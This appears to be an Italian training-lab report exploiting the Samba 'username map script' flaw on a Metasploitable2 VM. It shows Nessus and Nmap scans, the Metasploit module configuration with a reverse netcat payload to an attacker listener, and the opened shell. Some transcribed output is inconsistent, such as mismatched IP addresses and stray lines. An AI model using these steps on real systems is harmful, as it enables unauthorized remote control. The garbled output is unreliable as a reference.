



# REPORT

Exploit SAMBA



# Obiettivo

L'obiettivo di questa esercitazione è quello di sfruttare la vulnerabilità del servizio attivo SAMBA sulla porta 445 TCP utilizzando MSFConsole.

Per raggiungere questo scopo, è stata utilizzata la macchina vulnerabile Metasploitable2 come ambiente di test.

# Vulnerability Scan: Nessus

Come primo step si procede ad una scansione della macchina target con il vulnerability scan Nessus.

Esso è un tool che scansiona ed identifica le vulnerabilità presenti nei sistemi, nelle applicazioni e nelle reti.

Dopo aver effettuato la scansione, Nessus identifica una vulnerabilità di tipologia “high” sul protocollo SAMBA.

Metasploitable 2 / Plugin #90509

[◀ Back to Vulnerabilities](#)

Vulnerabilities 67

HIGH

Samba Badlock Vulnerability

## Description

The version of Samba, a CIFS/SMB server for Linux and Unix, running on the remote host is affected by a flaw, known as Badlock, that exists in the Security Account Manager (SAM) and Local Security Authority (Domain Policy) (LSAD) protocols due to improper authentication level negotiation over Remote Procedure Call (RPC) channels. A man-in-the-middle attacker who is able to intercept the traffic between a client and a server hosting a SAM database can exploit this flaw to force a downgrade of the authentication level, which allows the execution of arbitrary Samba network calls in the context of the intercepted user, such as viewing or modifying sensitive security data in the Active Directory (AD) database or disabling critical services.

## Solution

Upgrade to Samba version 4.2.11 / 4.3.8 / 4.4.2 or later.

## See Also

<http://badlock.org>

<https://www.samba.org/samba/security/CVE-2016-2118.html>

# Scansione Nmap

Dopo una prima scansione con Nessus si è optato per un ulteriore scansione con Nmap.

Con questa scansione sono risultate ulteriori informazioni sulla vulnerabilità SAMBA.

Il protocollo Samba gestisce la condivisione di file e stampanti e mette in comunicazione sistemi operativi differenti che appartengono alla stessa rete.

Il protocollo, contenuta nella macchina, è obsoleta:

- Utilizza una versione vecchia del protocollo.
- Non necessita di autenticazione.

```
kali㉿kali:~
```

```
File Actions Edit View Help
ls nmap -sV -T4 192.168.1.251
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-19 09:32 CET
Stats: 0:00:39 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 95.65% done; ETC: 09:33 (0:00:02 remaining)
Nmap scan report for PC192.168.1.251.homenet.telecomitalia.it (192.168.1.251)
Host is up (0.000057s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian Subuntu (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
145/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec?
513/tcp   open  login
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi   GNU Classpath grmiregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs         2-4 (RPC #100003)
2121/tcp  open  ftp         ProFTPD 1.3.1
3306/tcp  open  mysql       MySQL 5.0.51a-Subuntu5
5432/tcp  open  postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc         VNC (protocol 3.3)
6000/tcp  open  X11         (access denied)
6667/tcp  open  irc         UnrealIRCd
8009/tcp  open  ajp13      Apache Jserv (Protocol v1.3)
8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:34:35:BE (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 62.41 seconds
```

```
(kali㉿kali)-[~]
```

# Exploit con MSFConsole

Un possibile attaccante potrebbe usare un Exploit per entrare nella macchina target sfruttando queste vulnerabilità.

Utilizzando *MSFCONSOLE*, uno strumento per testare la sicurezza delle reti e delle applicazioni, si è provato a verificare il protocollo sulla macchina target.

Con la funzione “*search samba*” restituirà come risultato degli exploit disponibili per questo protocollo. Tra i tanti si è scelto:

*exploit/multi/samba/usermap\_script*

L’exploit scelto è il più affine all’obiettivo per questa fase, in quanto *usermap script* è una funzione di samba che permette di avere accesso ad un profilo utente del protocollo.

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/unix/webapp/citrix_access_gateway_exec	2010-12-21	excellent	Yes	Citrix Access Gateway Command Execution
1	exploit/windows/license/caliclmclient_getconfig	2005-03-02	average	No	Computer Associates License Client GETCONFIG Overflow
2	└ target: Automatic	.	.	.	.
3	└ target: Windows 2000 English	.	.	.	.
4	└ target: Windows XP English SP0-1	.	.	.	.
5	└ target: Windows XP English SP2	.	.	.	.
6	└ target: Windows 2003 English SP0	.	.	.	.
7	exploit/unix/misc/distcc_exec	2002-02-01	excellent	Yes	DistCC Daemon Command Execution
8	exploit/windows/smb/group_policy_startup	2015-01-26	manual	No	Group Policy Script Execution From Shared Resource
9	└ target: Windows x86	.	.	.	.
10	└ target: Windows x64	.	.	.	.
11	post/linux/gather/enum_configs	.	normal	No	Linux Gather Configurations
12	auxiliary/scanner/rsync/modules_list	.	normal	No	List Rsync Modules
13	exploit/windows/fileformat/ms14_068_sandworm	2014-10-14	excellent	No	MS14-068 Microsoft Windows OLE Package Manager Code Execution
14	exploit/unix/http/quest_kace_systems_management_rce	2018-05-31	excellent	Yes	Quest KACE Systems Management Command Injection
15	exploit/multi/samba/usermap_script	2007-05-14	excellent	No	Samba "username map script" Command Execution
16	exploit/multi/samba/ntrans	2003-04-07	average	No	Samba 2.2.2 - 2.2.6 ntrans Buffer Overflow
17	exploit/linux/samba/setinfopolicy_heap	2012-04-10	normal	Yes	Samba SetInformationPolicy AuditEventsInfo Heap Overflow
18	└ target: 2:3.5.11-dfsg-1ubuntu2 on Ubuntu Server 11.10	.	.	.	.
19	└ target: 2:3.5.8-dfsg-1ubuntu2 on Ubuntu Server 11.10	.	.	.	.
20	└ target: 2:3.5.8-dfsg-1ubuntu2 on Ubuntu Server 11.04	.	.	.	.
21	└ target: 2:3.5.4-dfsg-1ubuntu8 on Ubuntu Server 10.10	.	.	.	.
22	└ target: 2:3.5.4-dfsg-1squeeze6 on Debian Squeeze	.	.	.	.
23	└ target: 3:5.10-0.107.el5 on CentOS 5	.	.	.	.
24	auxiliary/admin/smb/samba_symlink_traversal	.	normal	No	Samba Symlink Directory Traversal
25	auxiliary/scanner/smb/smb_uninit_cred	.	normal	Yes	Samba _netr_ServerPasswordSet Uninitialized Credential State
26	exploit/linux/samba/chain_reply	2010-06-16	good	No	Samba chain_reply Memory Corruption (Linux x86)
27	└ target: Linux (Debian5 3.2.5-4lenny6)	.	.	.	.
28	└ target: Debugging Target	.	.	.	.
29	exploit/linux/samba/is_known_pipename	2017-03-24	excellent	Yes	Samba is_known_pipename() Arbitrary Module Load

In questo caso, è una vulnerabilità perché la versione di samba installata, non ha autenticazione. Di conseguenza si può avere accesso libero e utilizzare script per controllare il dispositivo vittima.

# Configurazione

Scelto l' exploit, si impostano i parametri per far funzionare lo script.

Utilizzando il comando *show option*, si possono vedere tutti i parametri da configurare.

Con il comando *set* possiamo configurare i seguenti parametri richiesti:

- RHOST : Ip della vittima
- RPORT : porta dove è eseguito il protocollo da testa

```
msf6 exploit(multi/samba/usermap_script) > set rhost 192.168.50.150
rhost => 192.168.50.150
msf6 exploit(multi/samba/usermap_script) > set rport 445
rport => 445
msf6 exploit(multi/samba/usermap_script) > set lport 5555
lport => 5555
msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):
```

Name	Current Setting	Required	Description
GHOST		no	The local client address
CPORT		no	The local client port
Proxy		no	A proxy chain of format type:host:port[,type:host:port][,...]
RHOSTS	192.168.50.150	yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a>
RPORT	445	yes	The target port (TCP)

```
Payload options (cmd/unix/reverse_netcat):
```

Name	Current Setting	Required	Description
LHOST	192.168.50.100	yes	The listen address (an interface may be specified)
LPORT	5555	yes	The listen port

```
Exploit target:
```

Id	Name
---	SMB - 8.3.0 - 8.3.7
0	Automatic

```
View the full module info with the info, or info -d command.
```

- LHOST: Ip dell' attaccante
- LPORT: porta d' ascolto dell' attaccante (5555)

## Considerazioni finali

Eseguendo il comando *Exploit*, si avvia lo script.

Dall' immagine, si può notare che la shell è stata creata. Ora, grazie ad essa, è possibile ottenere il totale controllo sulla macchina target ed eseguire qualsiasi comando.

Ad esempio *Ifconfig*: comando utilizzato per stampare a schermo gli indirizzi ip della macchina vittima.

In conclusione si deduce l' alto rischio della vulnerabilità di questa versione del protocollo.

```
msf6 exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 192.168.50.100:5555
[*] Command shell session 1 opened (192.168.50.100:5555 → 192.168.50.150:48132) at 2024-11-19 10:09:29 +0100
[*] Using Postfix smtpd
[*] ifconfig -a
eth0      Link encap:Ethernet HWaddr 08:00:27:34:35:be
          inet addr:192.168.50.150  Bcast:192.168.50.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe34:35be/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2171 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1582 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:163765 (159.9 KB)  TX bytes:127531 (124.5 KB)
          Base address:0xd020 Memory:f0200000-f0220000
          -A (RPC #100003)
lo      Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:302 errors:0 dropped:0 overruns:0 frame:0
          TX packets:302 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:84326 (82.3 KB)  TX bytes:84326 (82.3 KB)
[*] Metasploitable.localdomain, inc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Si consiglia di aggiornare il protocollo di samba alla versione più recente, la quale è provvista di autenticazione per evitare possibili attacchi.